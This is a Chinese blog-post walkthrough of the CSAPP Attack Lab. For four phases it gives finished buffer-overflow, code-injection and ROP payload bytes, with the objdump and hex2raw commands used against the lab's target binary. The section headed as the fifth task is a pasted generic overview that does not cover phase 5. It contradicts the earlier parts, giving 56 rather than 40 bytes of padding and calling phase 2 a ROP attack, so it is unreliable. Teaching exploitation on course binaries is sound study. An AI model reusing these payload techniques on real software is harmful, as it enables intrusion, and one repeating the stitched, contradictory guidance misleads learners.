CSAPP-Attack lab


此实验有五个任务

在这里插入图片描述

第一个任务

这个任务的内容是跳转到touch1函数

void test(){
	int val;
	val = getbuf();
	printf("No exploit. Getbuf returned 0x%x\n", val);
}

unsigned getbuf() {
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

void touch1() {
	vlevel = 1;
	printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}

解题思路: 1.找到touch1()的起始地址、2.修改 test()调用getbuf()时 压入的返回地址为touch1()的起始地址。

步骤一:
objdump -d ctarget ctarget.d
vim ctarget.d
:/touch1

很容易找到touch1()的起始地址为:0x00000000004017c0
在这里插入图片描述

步骤二:
利用缓冲区溢出来来修改retq地址
vim ctarget.d
:/getbuf
可得到%rsp-28得到字符数组的首地址,0x28即40字节(40B),即BUFFER_SIZE

在这里插入图片描述

一个char是1B,则需要输入40个字符才能缓冲区溢出,
可以使用以下去检验
./ctarget -q
aaaa ...分别输入39和40个字符

可以知道输入40个字符时已经缓冲区溢出。

先给出答案:
弄个result.txt:
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
c0 17 40 00 00 00 00 00
./hex2raw < result.txt | ./ctarget -q
可看到成功通过第一个任务。

原因是:函数调用时,会把返回地址压栈,再进入函数,40个f之后,缓冲区满了,接下来的输入是为了顶掉原来的返回地址(这里是小端存储),所以(0x00000000004017c0表示为 0xc017400000000000),hex2raw函数是为了生成攻击字符串,只需要我们输入我们的结果,它便自动生成相应ascii码。

第二个任务

带参数跳cookie转到touch2,
答案:

ff ff ff ff ff ff ff ff
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
80 dc 61 55 00 00 00 00
48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
68 ec 17 40 00       	pushq  $0x4017ec
c3                   	retq 

字符串首地址是0x5561dc78,这里的意思是,跳转到字符串中间,中间是我们写的代码(你需要自己写汇编语言,然后反汇编查看它的代码)。这里的意思是将cookie放入rdi,然后把返回地址压栈,接着retq跳转到压栈的地址。

第三个任务

将你的cookie转化成字符串,并带着字符串首地址跳转到touch3
答案:

48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00

第三题也是注入代码,将 cookie 的字符串的地址传入函数,注入代码和第二题类似,但是注意因为> 第三题中,后续操作会将 buf 栈中的 40 个字节覆盖了,所以不能将字符串存储中这里,改为存储在调用函数前的栈中,通过打断点得到其栈顶地址是 0x5561dca0 。所以应该把字符串存入的地址设为 0 x5561dca8 ,这个地址在输入的 16 进制中就紧跟着跳转的地址。
注入的代码(已经反编译了):

48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
68 fa 18 40 00          pushq  $0x4018fa
c3                      retq

第四个任务

查阅文档, 48 89 c7 就是 movq %rax,%rdi ,就将栈上的值存入了 %rdi ,因此将 cookie > 值存入栈中,就可以传值,这段代码地址是 0x4019a2
因此输入字符串先是一段填充的 40 字节,然后是跳转地址,设为 pop 的地址 0x4019ab ,接着存入 cookie 值(就是将要 pop 的那个值,注意应存入 64 位值),然后是 mov 的地址 0x4019a2 ,> 最后跳转到 touch2 ,这样一个完整的 ROP 攻击链就形成了,一个可行的答案就是:

ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

第五个任务

CSAPP(Computer Systems: A Programmer's Perspective)课程中的 Attack Lab 是一个关于程序安全和漏洞利用的经典实验,主要目的是让学生理解缓冲区溢出攻击的原理以及如何通过代码注入或重定向执行流来实现特定功能。该实验通常分为多个阶段,从简单的栈溢出到更复杂的代码注入攻击。 ### 实验环境准备 Attack Lab 通常需要在 Linux 环境下运行,并使用 `gdb`、`objdump`、`hexedit` 等工具进行逆向分析和调试。实验中会提供一个可执行文件和若干目标函数,如 `touch1`、`touch2` 和 `touch3`,每个阶段的目标是将控制流转移到这些函数并传入正确的参数值(通常是某个 cookie 值)[^1]。 --- ### 阶段一:基本栈溢出(Phase 1) 第一阶段的目标是触发缓冲区溢出,将返回地址覆盖为 `touch1` 函数的地址。步骤如下: 1. **获取函数地址**: 使用 `objdump -d ctarget > ctarget.asm` 获取反汇编信息,查找 `touch1` 的地址。 2. **构造 payload**: 在 `farm.c` 中找到用于输入的缓冲区大小(通常是 56 字节),然后填充 56 字节的 NOP 指令(例如 `\x90`),接着写入 `touch1` 的地址(小端序格式)。 3. **验证执行**: 使用 `make test` 或 `./ctarget -i exploit.txt` 运行 payload 文件,确认是否成功跳转至 `touch1`。 --- ### 阶段二:带参数的函数调用(Phase 2) 第二阶段要求将指定的 cookie 值(如 `0x59b997fa`)作为参数传递给 `touch2` 函数,并跳转至其地址(如 `0x4017ec`)[^1]。 1. **分析 touch2 函数**: 查看 `touch2` 的汇编代码,确认其期望的参数是存储在寄存器 `rdi` 中。 2. **构造 ROP 链**: 使用 `popq %rdi; ret` 指令(称为 gadget)将 cookie 值压入 `rdi` 寄存器,随后跳转至 `touch2` 地址。 3. **生成 payload**: 构造如下结构: ``` [padding (56 bytes)] → [address of popq rdi gadget] → [cookie value] → [address of touch2] ``` 4. **测试与调试**: 使用 `gdb` 调试程序,观察栈布局是否正确,确保寄存器 `rdi` 的值被正确设置。 --- ### 阶段三:代码注入攻击(Phase 3) 第三阶段要求直接注入一段自定义的机器码(shellcode),修改程序行为,最终跳转至 `touch3` 并传入正确的 cookie 字符串。 1. **编写 shellcode**: 编写一小段汇编代码,将 cookie 值(如 `0x59b997fa`)转换为字符串并将其地址放入 `rdi`。 2. **汇编与提取机器码**: 使用 `gcc -c shellcode.s` 和 `objdump -d shellcode.o` 提取机器码。 3. **构造 payload**: 填充缓冲区后,在栈上注入 shellcode,并跳转至其起始地址。 4. **绕过 NX 保护机制**: 如果系统启用 NX(No-eXecute),则需采用其他方式(如 ROP 技术)完成攻击。 --- ### 工具推荐与调试技巧 - **GDB 调试技巧**: - 使用 `break *main` 设置断点 - 使用 `x/16x $rsp` 查看栈内容 - 使用 `stepi` 单步执行指令 - **常用命令**: ```bash objdump -d ctarget > ctarget.asm gdb ./ctarget ``` - **注意事项**: - 所有地址必须以小端序格式写入 - payload 文件应为二进制格式(可使用 `hexedit` 编辑) ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值